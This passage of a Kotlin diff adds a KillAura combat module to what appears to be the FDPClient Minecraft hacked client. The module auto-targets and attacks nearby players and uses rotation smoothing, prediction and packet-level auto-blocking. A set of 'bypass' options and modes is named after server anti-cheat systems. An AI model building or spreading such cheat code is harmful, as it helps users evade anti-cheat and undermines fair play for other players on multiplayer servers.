180f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val v = minTurnSpeedValue.get() + if (v > newValue) set(v) + } + }.displayable { rotationDisplay.get() && !rotationModeValue.equals("LockView") } as FloatValue + + private val minTurnSpeedValue: FloatValue = object : FloatValue("MinTurnSpeed", 180f, 1f, 180f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val v = maxTurnSpeedValue.get() + if (v < newValue) set(v) + } + }.displayable { rotationDisplay.get() && !rotationModeValue.equals("LockView") } as FloatValue + + private val rotationSmoothModeValue = ListValue( + "SmoothMode", + arrayOf("Custom", "Line", "Quad", "Sine", "QuadSine"), + "Custom" + ).displayable { + rotationDisplay.get() && !rotationModeValue.equals("LiquidBounce") && !rotationModeValue.equals( + "ForceCenter" + ) && !rotationModeValue.equals("LockView") + } + private val rotationSmoothValue = FloatValue( + "CustomSmooth", + 2f, + 1f, + 10f + ).displayable { rotationSmoothModeValue.equals("Custom") && rotationSmoothModeValue.displayable } + + // Random Value + private val randomCenterModeValue = ListValue( + "RandomCenter", + arrayOf("Off", "Cubic", "Horizontal", "Vertical"), + "Off" + ).displayable { rotationDisplay.get() } + private val randomCenRangeValue = FloatValue( + "RandomRange", + 0.0f, + 0.0f, + 1.2f + ).displayable { !randomCenterModeValue.equals("Off") && rotationDisplay.get() } + + // Keep Rotate + private val rotationRevValue = BoolValue( + "RotationReverse", + false + ).displayable { !rotationModeValue.equals("None") && rotationDisplay.get() } + private val rotationRevTickValue = IntegerValue( + "RotationReverseTick", + 5, + 1, + 20 + ).displayable { rotationRevValue.get() && rotationRevValue.displayable } + private val keepDirectionValue = + BoolValue("KeepDirection", true).displayable { !rotationModeValue.equals("None") && rotationDisplay.get() } + private val keepDirectionTickValue = IntegerValue( + "KeepDirectionTick", + 15, + 1, + 20 + ).displayable { keepDirectionValue.get() && keepDirectionValue.displayable } + private val rotationDelayValue = + BoolValue("RotationDelay", false).displayable { !rotationModeValue.equals("None") && rotationDisplay.get() } + private val rotationDelayMSValue = IntegerValue( + "RotationDelayMS", + 300, + 0, + 1000 + ).displayable { rotationDelayValue.get() && rotationDelayValue.displayable } + + private val fovValue = FloatValue("FOV", 180f, 0f, 180f).displayable { rotationDisplay.get() } + private val hitAbleValue = BoolValue("AlwaysHitAble", true).displayable { rotationDisplay.get() } + + // Predict + private val predictValue = + BoolValue("Predict", true).displayable { !rotationModeValue.equals("None") && rotationDisplay.get() } + + private val maxPredictSizeValue: FloatValue = object : FloatValue("MaxPredictSize", 1f, -2f, 5f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val v = minPredictSizeValue.get() + if (v > newValue) set(v) + } + }.displayable { predictValue.displayable && predictValue.get() } as FloatValue + + private val minPredictSizeValue: FloatValue = object : FloatValue("MinPredictSize", 1f, -2f, 5f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val v = maxPredictSizeValue.get() + if (v < newValue) set(v) + } + }.displayable { predictValue.displayable && predictValue.get() } as FloatValue + + private val predictPlayerValue = + BoolValue("PredictPlayer", true).displayable { !rotationModeValue.equals("None") && predictValue.get() } + + private val maxPredictPlayerSizeValue: FloatValue = object : FloatValue("MaxPredictPlayerSize", 1f, -1f, 4f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val v = minPredictPlayerSizeValue.get() + if (v > newValue) set(v) + } + }.displayable { predictPlayerValue.displayable && predictPlayerValue.get() } as FloatValue + + private val minPredictPlayerSizeValue: FloatValue = object : FloatValue("MinPredictPlayerSize", 1f, -1f, 4f) { + override fun onChanged(oldValue: Float, newValue: Float) { + val v = maxPredictPlayerSizeValue.get() + if (v < newValue) set(v) + } + }.displayable { predictPlayerValue.displayable && predictPlayerValue.get() } as FloatValue + + + // Bypass + private val bypassDisplay = BoolValue("Bypass-Options", true) + + private val raycastValue = BoolValue("RayCast", true).displayable { bypassDisplay.get() } + private val raycastTargetValue = + BoolValue("RaycastOnlyTarget", false).displayable { raycastValue.get() && raycastValue.displayable } + + private val throughWallsValue = BoolValue("ThroughWalls", false) + + private val multiCombo = BoolValue("MultiCombo", false).displayable { bypassDisplay.get() } + + private val failRateValue = FloatValue("FailRate", 0f, 0f, 100f).displayable { bypassDisplay.get() } + private val fakeSwingValue = + BoolValue("FakeSwing", true).displayable { failRateValue.get() != 0f && failRateValue.displayable } + private val rotationStrafeValue = ListValue( + "Strafe", + arrayOf("Off", "Strict", "Silent","Vanilla"), + "Silent" + ).displayable { silentRotationValue.get() && !rotationModeValue.equals("None") && bypassDisplay.get() } + + // Tools + private val toolsDisplay = BoolValue("Tools-Options", true) + + private val blinkCheck = BoolValue("BlinkCheck", false).displayable { toolsDisplay.get() } + private val noScaffValue = BoolValue("NoScaffold", false).displayable { toolsDisplay.get() } + private val noFlyValue = BoolValue("NoFly", false).displayable { toolsDisplay.get() } + private val noEat = BoolValue("NoEat", false).displayable { toolsDisplay.get() } + private val noBlocking = BoolValue("NoBlocking", false).displayable { toolsDisplay.get() } + private val noBadPacketsValue = BoolValue("NoBadPackets", false).displayable { toolsDisplay.get() } + private val jumpFixValue = BoolValue("JumpFix", false).displayable { toolsDisplay.get() } + private val noInventoryAttackValue = + ListValue("NoInvAttack", arrayOf("Spoof", "CancelRun", "Off"), "Off").displayable { toolsDisplay.get() } + private val noInventoryDelayValue = IntegerValue( + "NoInvDelay", + 200, + 0, + 500 + ).displayable { !noInventoryAttackValue.equals("Off") && noInventoryAttackValue.displayable } + private val onSwording = BoolValue("OnSword", false).displayable { toolsDisplay.get() } + private val displayDebug = BoolValue("Debug", false).displayable { toolsDisplay.get() } + + private val displayMode = ListValue("DisplayMode", arrayOf("Simple", "LessSimple", "Complicated"), "Simple") + + /** + * MODULE + */ + + // Target + var currentTarget: EntityLivingBase? = null + private var hitable = false + private var packetSent = false + private val prevTargetEntities = mutableListOf<Int>() + val discoveredTargets = mutableListOf<EntityLivingBase>() + private val inRangeDiscoveredTargets = mutableListOf<EntityLivingBase>() + private val canFakeBlock: Boolean + get() = inRangeDiscoveredTargets.isNotEmpty() + + // Attack delay + private val attackTimer = MSTimer() + private val switchTimer = MSTimer() + private val rotationTimer = MSTimer() + private var attackDelay = 0L + var clicks = 0 + private var attackTickTimes = mutableListOf<Pair<MovingObjectPosition, Int>>() + + // Container Delay + private var containerOpen = -1L + + // Swing + private var canSwing = false + + // Last Tick Can Be Seen + private var lastCanBeSeen = false + + // Fake block status + var blockingStatus = false + + val displayBlocking: Boolean + get() = blockingStatus || (((autoBlockValue.equals("Fake") || (alwaysBlockDisplayValue.get() && autoBlockValue.equals( + "Range" + ))) && canFakeBlock)) + + private var predictAmount = 1.0f + private var predictPlayerAmount = 1.0f + + // hit select + private var canHitselect = false + private val hitselectTimer = MSTimer() + + private val delayBlockTimer = MSTimer() + private var delayBlock = false + private var legitBlocking = 0 + private var legitCancelAtk = false + + private var test2_block = false + private var wasBlink = false + + private val getAABB: ((Entity) -> AxisAlignedBB) = { + var aabb = it.hitBox + aabb = if (predictValue.get()) aabb.offset( + (it.posX - it.lastTickPosX) * predictAmount, + (it.posY - it.lastTickPosY) * predictAmount, + (it.posZ - it.lastTickPosZ) * predictAmount + ) else aabb + aabb = if (predictPlayerValue.get()) aabb.offset( + mc.thePlayer.motionX * predictPlayerAmount * -1f, + mc.thePlayer.motionY * predictPlayerAmount * -1f, + mc.thePlayer.motionZ * predictPlayerAmount * -1f + ) else aabb + aabb.expand( + it.collisionBorderSize.toDouble(), + it.collisionBorderSize.toDouble(), + it.collisionBorderSize.toDouble() + ) + aabb + } + + /** + * Enable kill aura module + */ + override fun onEnable() { + mc.thePlayer ?: return + mc.theWorld ?: return + lastCanBeSeen = false + delayBlock = false + legitBlocking = 0 + + updateTarget() + } + + /** + * Disable kill aura module + */ + override fun onDisable() { + FDPClient.moduleManager[TargetStrafe::class.java]!!.doStrafe = false + currentTarget = null + hitable = false + packetSent = false + prevTargetEntities.clear() + discoveredTargets.clear() + inRangeDiscoveredTargets.clear() + attackTimer.reset() + attackTickTimes.clear() + clicks = 0 + canSwing = false + + stopBlocking() + if (autoBlockPacketValue.equals("HoldKey") || autoBlockPacketValue.equals("KeyBlock")) { + mc.gameSettings.keyBindUseItem.pressed = false + } + + RotationUtils.serverRotation?.let { + RotationUtils.setTargetRotationReverse( + it, + if (keepDirectionValue.get()) { + keepDirectionTickValue.get() + 1 + } else { + 1 + }, + if (rotationRevValue.get()) { + rotationRevTickValue.get() + 1 + } else { + 0 + } + ) + } + if (wasBlink) { + BlinkUtils.setBlinkState(off = true, release = true) + wasBlink = false + } + } + + /** + * Render event + */ + @EventTarget + fun onRender2D( + event: Render2DEvent + ) { + if (displayDebug.get()) { + val sr = ScaledResolution(mc) + val blockingStatus = mc.thePlayer.isBlocking + val maxRange = this.maxRange + + + val reach = if (currentTarget != null) { + mc.thePlayer.getDistanceToEntityBox(currentTarget!!) + } else { + 0.0 + } + + val formattedReach = String.format("%.2f", reach) + + val rangeString = "Range: $maxRange" + val reachString = "Reach: $formattedReach" + + val status = + "Blocking: ${if (blockingStatus) "Yes" else "No"}, CPS: $clicks, $reachString, $rangeString" + Fonts.minecraftFont.drawStringWithShadow( + status, + sr.scaledWidth / 2f - Fonts.minecraftFont.getStringWidth(status) / 2f, + sr.scaledHeight / 2f - 60f, + Color.orange.rgb + ) + } + } + + /** + * Motion event + */ + @EventTarget + fun onMotion(event: MotionEvent) { + if (event.eventState == EventState.POST) { + packetSent = false + } + + updateHitable() + val target = this.currentTarget ?: discoveredTargets.getOrNull(0) ?: return + + if (autoBlockValue.equals("Range") && autoBlockPacketValue.equals("HoldKey") && canBlock) { + if (inRangeDiscoveredTargets.isEmpty()) { + mc.gameSettings.keyBindUseItem.pressed = false + } else if (mc.thePlayer.getDistanceToEntityBox(target) < maxRange) { + mc.gameSettings.keyBindUseItem.pressed = true + } + } + + + if ((attackTimingValue.equals("Pre") && event.eventState != EventState.PRE) || (attackTimingValue.equals("Post") && event.eventState != EventState.POST) || attackTimingValue.equals( + "All" + ) || attackTimingValue.equals("Both") + ) + return + + runAttackLoop() + + } + + @EventTarget + fun onWorldChange(event: WorldEvent) { + attackTickTimes.clear() + } + + /** + * Update event + */ + @EventTarget + fun onUpdate(ignoredEvent: UpdateEvent) { + if (clickOnly.get() && !mc.gameSettings.keyBindAttack.isKeyDown) return + + if (cancelRun) { + currentTarget = null + hitable = false + stopBlocking() + discoveredTargets.clear() + inRangeDiscoveredTargets.clear() + if (wasBlink) { + BlinkUtils.setBlinkState(off = true, release = true) + wasBlink = false + } + return + } + + if (autoBlockPacketValue.equals("Hypixel") && blockingStatus && autoBlockValue.equals("Range")) { + val curritem = mc.thePlayer.inventory.currentItem + val nextitem = (curritem + 1) % 9 + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(nextitem)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(curritem)) + } + + if (noInventoryAttackValue.equals("CancelRun") && (mc.currentScreen is GuiContainer || + System.currentTimeMillis() - containerOpen < noInventoryDelayValue.get()) + ) { + currentTarget = null + hitable = false + if (mc.currentScreen is GuiContainer) containerOpen = System.currentTimeMillis() + if (wasBlink) { + BlinkUtils.setBlinkState(off = true, release = true) + wasBlink = false + } + return + } + + updateTarget() + + if (discoveredTargets.isEmpty()) { + stopBlocking() + if (wasBlink) { + BlinkUtils.setBlinkState(off = true, release = true) + wasBlink = false + } + return + } + + + FDPClient.moduleManager[TargetStrafe::class.java]!!.targetEntity = currentTarget ?: return + + FDPClient.moduleManager[StrafeFix::class.java]!!.applyForceStrafe( + rotationStrafeValue.equals("Silent"), + !rotationStrafeValue.equals("Off") && !rotationModeValue.equals("None") + ) + + val target = this.currentTarget ?: discoveredTargets.getOrNull(0) ?: return + + if (autoBlockValue.equals("Range")) { + if (autoBlockPacketValue.equals("Test")) { + if (mc.thePlayer.swingProgressInt == 1) { + startBlocking( + target, + interactAutoBlockValue.get() && (mc.thePlayer.getDistanceToEntityBox(target) < maxRange) + ) + } + } + + if (autoBlockPacketValue.equals("Legit2")) { + if (mc.thePlayer.ticksExisted % 4 == 1 && (!smartAutoBlockValue.get() || mc.thePlayer.hurtTime < 3)) { + if (legitBlockBlinkValue.get() || wasBlink) { + BlinkUtils.setBlinkState(off = true, release = true) + wasBlink = false + } + startBlocking( + target, + interactAutoBlockValue.get() && (mc.thePlayer.getDistanceToEntityBox(target) < maxRange) + ) + } else if (mc.thePlayer.ticksExisted % 4 == 3 || (smartAutoBlockValue.get() && mc.thePlayer.hurtTime > 3)) { + if (legitBlockBlinkValue.get()) { + BlinkUtils.setBlinkState(all = true) + wasBlink = true + } + stopBlocking() + } + } + + if (autoBlockPacketValue.equals("Blink")) { + if (mc.thePlayer.ticksExisted % 2 == 1 && blinkBlockMode.equals("Blatant")) { + if (blockingStatus) { + BlinkUtils.setBlinkState(all = true) + wasBlink = true + stopBlocking() + } + } + } + + + legitCancelAtk = false + if (autoBlockPacketValue.equals("Legit")) { + if (mc.thePlayer.hurtTime > 8) { + legitBlocking = 0 + if (blockingStatus) { + stopBlocking() + blockingStatus = false + legitCancelAtk = true + } + } else { + if (mc.thePlayer.hurtTime == 1) { + legitBlocking = 3 + } else if (legitBlocking > 0) { + legitBlocking-- + // this code is correct u idiots + if (discoveredTargets.isNotEmpty() && !blockingStatus) { + val target = this.currentTarget ?: discoveredTargets.first() + startBlocking( + target, + interactAutoBlockValue.get() && (mc.thePlayer.getDistanceToEntityBox(target) < maxRange) + ) + blockingStatus = true + } + if (clicks > 2) + clicks = 2 + legitCancelAtk = true + } else { + if (!canHitselect && hitselectValue.get()) { + legitBlocking = 3 + } else { + if (blockingStatus) stopBlocking() + blockingStatus = false + legitCancelAtk = true + // prevent hypixel flag + } + } + } + } + } + + + if (attackTimingValue.equals("All")) { + runAttackLoop() + } + + if (legitBlocking < 1 && autoBlockPacketValue.equals("Legit")) { + if (blockingStatus) stopBlocking() + blockingStatus = false + } + } + + @EventTarget + fun onStrafe(event: StrafeEvent) { + if (rotationStrafeValue.equals("Vanilla")) { + event.yaw = RotationUtils.targetRotation!!.yaw + } + } + + private fun runAttackLoop() { + + if (CpsReduceValue.get() && mc.thePlayer.hurtTime > 8) { + clicks += 4 + } + + // hit select (take damage to get yvelo to crit, for legit killaura) + if (hitselectValue.get()) { + if (canHitselect) { + if (inRangeDiscoveredTargets.isEmpty() && hitselectTimer.hasTimePassed(900L)) canHitselect = false + } else { + if (mc.thePlayer.hurtTime > 7) { + canHitselect = true + hitselectTimer.reset() + } + inRangeDiscoveredTargets.forEachIndexed { index, entity -> + if (mc.thePlayer.getDistanceToEntityBox( + entity + ) < hitselectRangeValue.get() + ) canHitselect = true; hitselectTimer.reset() + } + } + if (!canHitselect) { + if (clicks > 0) + clicks = 1 + return + } + } + + if (autoBlockValue.equals("Range")) { + when (autoBlockPacketValue.get().lowercase()) { + "legit" -> if (legitCancelAtk) return + "legit2" -> if (mc.thePlayer.ticksExisted % 4 > 0 && (!smartAutoBlockValue.get() || mc.thePlayer.hurtTime < 3)) return + "test", "test2" -> { + if (blockingStatus) { + stopBlocking() + return + } + } + + "blink" -> { + when (blinkBlockMode.get().lowercase()) { + "blatant" -> if (mc.thePlayer.ticksExisted % 2 == 1) return + "legit3tick", "legit4tick", "legit5tick" -> { + val blockTicks = when (blinkBlockMode.get().lowercase()) { + "legit3tick" -> 3 + "legit4tick" -> 4 + "legit5tick" -> 5 + else -> 3 + } + when (mc.thePlayer.ticksExisted % blockTicks) { + 0 -> { + if (blockingStatus) { + BlinkUtils.setBlinkState(all = true) + wasBlink = true + stopBlocking() + } + return + } + + blockTicks - 1 -> { + blinkBlock() + return + } + + else -> null + } + } + + "dynamic" -> { + if (mc.thePlayer.hurtTime < 4) { + when (mc.thePlayer.ticksExisted % 3) { + 0 -> { + if (blockingStatus) { + BlinkUtils.setBlinkState(all = true) + wasBlink = true + stopBlocking() + } + return + } + + 2 -> { + blinkBlock() + return + } + + else -> null + } + } else { + if (blockingStatus || wasBlink) { + if (blockingStatus) stopBlocking() + BlinkUtils.setBlinkState(off = true, release = true) + wasBlink = false + return + } + } + } + } + } + + else -> null + } + + } + + + if (simulateCooldown.get() && CooldownHelper.getAttackCooldownProgress() < 1.0f) { + return + } + + if (simulateCooldown.get() && cooldownNoDupAtk.get() && clicks > 0) { + clicks = 1 + } + + try { + while (clicks > 0) { + runAttack() + clicks-- + } + } catch (e: java.lang.IllegalStateException) { + return + } + + if (autoBlockValue.equals("Range") && autoBlockPacketValue.equals("Blink") && blinkBlockMode.equals("Blatant")) { + blinkBlock() + } + + test2_block = true + } + + /** + * Attack enemy + */ + private fun runAttack() { + currentTarget ?: return + + // Settings + val failRate = failRateValue.get() + val openInventory = noInventoryAttackValue.equals("Spoof") && mc.currentScreen is GuiInventory + val failHit = failRate > 0 && Random().nextInt(100) <= failRate + + // Check is not hitable or check failrate + if (hitable && !failHit) { + // Close inventory when open + if (openInventory) { + mc.netHandler.addToSendQueue(C0DPacketCloseWindow()) + } + + // Attack + if (!targetModeValue.equals("Multi")) { + attackEntity(if (raycastValue.get()) { + (RaycastUtils.raycastEntity(maxRange.toDouble()) { + it is EntityLivingBase && it !is EntityArmorStand && (!raycastTargetValue.get() || EntityUtils.canRayCast( + it + )) && !EntityUtils.isFriend(it) + } ?: currentTarget!!) as EntityLivingBase + } else { + currentTarget!! + }) + } else { + inRangeDiscoveredTargets.forEachIndexed { index, entity -> + if (limitedMultiTargetsValue.get() == 0 || index < limitedMultiTargetsValue.get()) { + attackEntity(entity) + } + } + } + + if (targetModeValue.equals("Switch")) { + if (switchTimer.hasTimePassed(switchDelayValue.get().toLong())) { + prevTargetEntities.add(currentTarget!!.entityId) + switchTimer.reset() + } + } else { + prevTargetEntities.add(currentTarget!!.entityId) + } + + // Open inventory + if (openInventory) { + mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + } + } else if (fakeSwingValue.get() || canSwing) { + runSwing() + } + } + + /** + * Update current target + */ + private fun updateTarget() { + // Settings + val fov = fovValue.get() + val switchMode = targetModeValue.equals("Switch") + + // Find possible targets + discoveredTargets.clear() + + for (entity in mc.theWorld.loadedEntityList) { + if (entity !is EntityLivingBase || !EntityUtils.isSelected( + entity, + true + ) || (switchMode && prevTargetEntities.contains(entity.entityId)) + ) { + continue + } + + val distance = mc.thePlayer.getDistanceToEntityBox(entity) + + val entityFov = RotationUtils.getRotationDifference(entity) + + if (distance <= discoverRangeValue.get() && (fov == 180F || entityFov <= fov)) { + if (switchMode && isLookingOnEntities(entity, maxSwitchFOV.get().toDouble()) || !switchMode) + discoveredTargets.add(entity) + } + } + + // Sort targets by priority + when (priorityValue.get().lowercase()) { + "distance" -> discoveredTargets.sortBy { mc.thePlayer.getDistanceToEntityBox(it) } // Sort by distance + "health" -> discoveredTargets.sortBy { it.health + it.absorptionAmount } // Sort by health + "fov" -> discoveredTargets.sortBy { RotationUtils.getRotationDifference(it) } // Sort by FOV + "livingtime" -> discoveredTargets.sortBy { -it.ticksExisted } // Sort by existence + "armor" -> discoveredTargets.sortBy { it.totalArmorValue } // Sort by armor + "hurttime" -> discoveredTargets.sortBy { it.hurtTime } // Sort by hurt time + "hurtresistance" -> discoveredTargets.sortBy { it.hurtResistantTime } // hurt resistant time + "regenamplifier" -> discoveredTargets.sortBy { + if (it.isPotionActive(Potion.regeneration)) it.getActivePotionEffect( + Potion.regeneration + ).amplifier else -1 + } + } + + inRangeDiscoveredTargets.clear() + inRangeDiscoveredTargets.addAll(discoveredTargets.filter { mc.thePlayer.getDistanceToEntityBox(it) < (swingRangeValue.get() - if (mc.thePlayer.isSprinting) rangeSprintReducementValue.get() else 0F) }) + + // Cleanup last targets when no targets found and try again + if (inRangeDiscoveredTargets.isEmpty() && prevTargetEntities.isNotEmpty()) { + prevTargetEntities.clear() + updateTarget() + return + } + + // Find best target + for (entity in inRangeDiscoveredTargets) { + // Update rotations to current target + if (!updateRotations(entity)) { + val success = false + + if (!success) { + // when failed then try another target + continue + } + + } + + // Set target to current entity + if (mc.thePlayer.getDistanceToEntityBox(entity) < discoverRangeValue.get()) { + currentTarget = entity + FDPClient.moduleManager[TargetStrafe::class.java]!!.targetEntity = currentTarget ?: return + FDPClient.moduleManager[TargetStrafe::class.java]!!.doStrafe = + FDPClient.moduleManager[TargetStrafe::class.java]!!.toggleStrafe() + return + } + } + + currentTarget = null + FDPClient.moduleManager[TargetStrafe::class.java]!!.doStrafe = false + } + + private fun runSwing() { + val swing = swingValue.get() + if (swing.equals("packet", true)) { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } else if (swing.equals("normal", true)) { + mc.thePlayer.swingItem() + } + } + + /** + * Attack [entity] + * @throws IllegalStateException when bad packets protection + */ + private fun attackEntity(entity: EntityLivingBase) { + if (packetSent && noBadPacketsValue.get()) return + if (mc.thePlayer.getDistanceToEntityBox(entity) > rangeValue.get()) + return + + // Call attack event + val event = AttackEvent(entity) + FDPClient.eventManager.callEvent(event) + if (event.isCancelled) return + + // Stop blocking + preAttack() + + // Attack target + runSwing() + packetSent = true + mc.netHandler.addToSendQueue(C02PacketUseEntity(entity, C02PacketUseEntity.Action.ATTACK)) + + + swingKeepSprint(entity) + + postAttack(entity) + + CooldownHelper.resetLastAttackedTicks() + } + + private fun preAttack() { + if (mc.thePlayer.isBlocking || blockingStatus) { + when (autoBlockPacketValue.get().lowercase()) { + "vanilla","hypixel" -> null + "afterattack", "delayed" -> stopBlocking() + "oldintave" -> { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem % 8 + 1)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + blockingStatus = false + } + + "keyblock" -> mc.gameSettings.keyBindUseItem.pressed = false + "legit", "test", "holdkey", "Legit2" -> null + else -> null + } + } + } + + private fun postAttack(entity: EntityLivingBase) { + if (mc.thePlayer.isBlocking || (autoBlockValue.equals("Range") && canBlock)) { + if (blockRateValue.get() > 0 && Random().nextInt(100) <= blockRateValue.get()) { + if (smartAutoBlockValue.get() && clicks != 1 && mc.thePlayer.hurtTime < 4 && mc.thePlayer.getDistanceToEntityBox( + entity + ) < 4 + ) { + return + } + when (autoBlockPacketValue.get().lowercase()) { + "vanilla", "afterattack", "oldintave","hypixel" -> startBlocking( + entity, + interactAutoBlockValue.get() && (mc.thePlayer.getDistanceToEntityBox(entity) < maxRange) + ) + + "delayed", "keyblock" -> delayBlockTimer.reset() + "legit", "test", "holdkey", "Legit2" -> null + else -> null + } + } + } + } + + private fun swingKeepSprint(entity: EntityLivingBase) { + if (!FDPClient.moduleManager[KeepSprint::class.java]!!.state) { + val thePlayer = mc.thePlayer + if (sprintmode.equals("KeepSprint")) { + if (thePlayer.fallDistance > 0F && !thePlayer.onGround && !thePlayer.isOnLadder && !thePlayer.isInWater && !thePlayer.isPotionActive( + Potion.blindness + ) && !thePlayer.isRiding + ) { + thePlayer.onCriticalHit(entity) + } + + // Enchant Effect + if (EnchantmentHelper.getModifierForCreature(thePlayer.heldItem, entity.creatureAttribute) > 0F) { + thePlayer.onEnchantmentCritical(entity) + } + } + } + if (sprintmode.equals("StopMotion")) { + if (mc.playerController.currentGameType != WorldSettings.GameType.SPECTATOR) { + mc.thePlayer.attackTargetEntityWithCurrentItem(entity) + } + } + } + + /** + * Update killaura rotations to enemy + */ + private fun updateRotations(entity: Entity): Boolean { + if (rotationModeValue.equals("None")) { + return true + } + + // 视角差异 + val entityFov = RotationUtils.getRotationDifference( + RotationUtils.toRotation( + RotationUtils.getCenter(entity.hitBox), + true + ), RotationUtils.serverRotation + ) + + // 可以被看见 + if (entityFov <= mc.gameSettings.fovSetting) lastCanBeSeen = true + else if (lastCanBeSeen) { // 不可以被看见但是上一次tick可以看见 + rotationTimer.reset() // 重置计时器 + lastCanBeSeen = false + } + + if (predictValue.get()) { + predictAmount = RandomUtils.nextFloat(maxPredictSizeValue.get(), minPredictSizeValue.get()) + } + if (predictPlayerValue.get()) { + predictPlayerAmount = + RandomUtils.nextFloat(maxPredictPlayerSizeValue.get(), minPredictPlayerSizeValue.get()) + } + + val boundingBox = if (rotationModeValue.get() == "Test") entity.hitBox else getAABB(entity) + + val rModes = when (rotationModeValue.get()) { + "LiquidBounce", "SmoothLiquid" -> "LiquidBounce" + "ForceCenter", "SmoothCenter" -> "CenterLine" + "Optimal" -> "Optimal" + "LockView" -> "CenterSimple" + "SmoothCustom" -> customRotationValue.get() + else -> "LiquidBounce" + } + + val (_, directRotation) = + RotationUtils.calculateCenter( + rModes, + randomCenterModeValue.get(), + (randomCenRangeValue.get()).toDouble(), + boundingBox, + predictValue.get(), + throughWallsValue.get() + ) ?: return false + + + var diffAngle = RotationUtils.getRotationDifference(RotationUtils.serverRotation!!, directRotation) + if (diffAngle < 0) diffAngle = -diffAngle + if (diffAngle > 180.0) diffAngle = 180.0 + + val calculateSpeed = when (rotationSmoothModeValue.get()) { + "Custom" -> diffAngle / rotationSmoothValue.get() + "Line" -> (diffAngle / 360) * maxTurnSpeedValue.get() + (1 - diffAngle / 360) * minTurnSpeedValue.get() + "Quad" -> (diffAngle / 360.0).pow(2.0) * maxTurnSpeedValue.get() + (1 - (diffAngle / 360.0).pow(2.0)) * minTurnSpeedValue.get() + "Sine" -> (-cos(diffAngle / 180 * Math.PI) * 0.5 + 0.5) * maxTurnSpeedValue.get() + (cos(diffAngle / 360 * Math.PI) * 0.5 + 0.5) * minTurnSpeedValue.get() + "QuadSine" -> (-cos(diffAngle / 180 * Math.PI) * 0.5 + 0.5).pow(2.0) * maxTurnSpeedValue.get() + (1 - (-cos( + diffAngle / 180 * Math.PI + ) * 0.5 + 0.5).pow(2.0)) * minTurnSpeedValue.get() + + else -> 360.0 + } + + if (!lastCanBeSeen && rotationDelayValue.get() && !rotationTimer.hasTimePassed( + rotationDelayMSValue.get().toLong() + ) + ) return true + + val rotation = when (rotationModeValue.get()) { + "LiquidBounce", "ForceCenter", "Optimal" -> RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, directRotation, + (Math.random() * (maxTurnSpeedValue.get() - minTurnSpeedValue.get()) + minTurnSpeedValue.get()).toFloat() + ) + + "LockView" -> RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + directRotation, + (180.0).toFloat() + ) + + "SmoothCenter", "SmoothLiquid", "SmoothCustom" -> RotationUtils.limitAngleChange( + RotationUtils.serverRotation!!, + directRotation, + (calculateSpeed).toFloat() + ) + + else -> return true + } + + if (silentRotationValue.get()) { + RotationUtils.setTargetRotationReverse( + rotation, + if (keepDirectionValue.get()) { + keepDirectionTickValue.get() + } else { + 1 + }, + if (rotationRevValue.get()) { + rotationRevTickValue.get() + } else { + 0 + } + ) + } else { + rotation.toPlayer(mc.thePlayer) + } + return true + } + + /** + * Check if enemy is hitable with current rotations + */ + private fun updateHitable() { + if (currentTarget == null) { + canSwing = false + hitable = false + return + } + val entityDist = mc.thePlayer.getDistanceToEntityBox(currentTarget as Entity) + canSwing = entityDist < rangeValue.get() && (currentTarget as EntityLivingBase).hurtTime <= hurtTimeValue.get() + if (hitAbleValue.get()) { + hitable = entityDist <= maxRange.toDouble() + return + } + // Disable hitable check if turn speed is zero + if (maxTurnSpeedValue.get() <= 0F) { + hitable = true + return + } + val wallTrace = mc.thePlayer.rayTraceWithServerSideRotation(entityDist) + hitable = RotationUtils.isFaced(currentTarget!!, maxRange.toDouble()) && (entityDist < discoverRangeValue.get() || wallTrace?.typeOfHit != MovingObjectPosition.MovingObjectType.BLOCK) && (currentTarget as EntityLivingBase).hurtTime <= hurtTimeValue.get() + } + + /** + * Start blocking + */ + private fun startBlocking(interactEntity: Entity, interact: Boolean) { + if (autoBlockValue.equals("Range") && mc.thePlayer.getDistanceToEntityBox(interactEntity) > autoBlockRangeValue.get()) { + return + } + + if (blockingStatus) { + return + } + + if (packetSent && noBadPacketsValue.get()) { + return + } + + if (interact) { + val positionEye = mc.renderViewEntity?.getPositionEyes(1F) + + interactEntity.collisionBorderSize.toDouble() + val boundingBox = interactEntity.hitBox + + val (yaw, pitch) = RotationUtils.targetRotation ?: Rotation( + mc.thePlayer!!.rotationYaw, + mc.thePlayer!!.rotationPitch + ) + val yawCos = cos(-yaw * 0.017453292F - Math.PI.toFloat()) + val yawSin = sin(-yaw * 0.017453292F - Math.PI.toFloat()) + val pitchCos = -cos(-pitch * 0.017453292F) + val pitchSin = sin(-pitch * 0.017453292F) + val range = min(maxRange.toDouble(), mc.thePlayer!!.getDistanceToEntityBox(interactEntity)) + 1 + val lookAt = + positionEye!!.addVector(yawSin * pitchCos * range, pitchSin * range, yawCos * pitchCos * range) + + val movingObject = boundingBox.calculateIntercept(positionEye, lookAt) ?: return + val hitVec = movingObject.hitVec + + mc.netHandler.addToSendQueue( + C02PacketUseEntity( + interactEntity, Vec3( + hitVec.xCoord - interactEntity.posX, + hitVec.yCoord - interactEntity.posY, + hitVec.zCoord - interactEntity.posZ + ) + ) + ) + //mc.netHandler.addToSendQueue(C02PacketUseEntity(interactEntity, C02PacketUseEntity.Action.INTERACT)) + } + + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem())) + blockingStatus = true + packetSent = true + } + + /** + * Stop blocking + */ + private fun stopBlocking() { + if (blockingStatus) { + if (packetSent && noBadPacketsValue.get()) { + return + } + mc.netHandler.addToSendQueue( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, + BlockPos.ORIGIN, //if (MovementUtils.isMoving()) BlockPos(-1, -1, -1) else BlockPos.ORIGIN, + EnumFacing.DOWN + ) + ) + blockingStatus = false + packetSent = true + } + } + + private fun 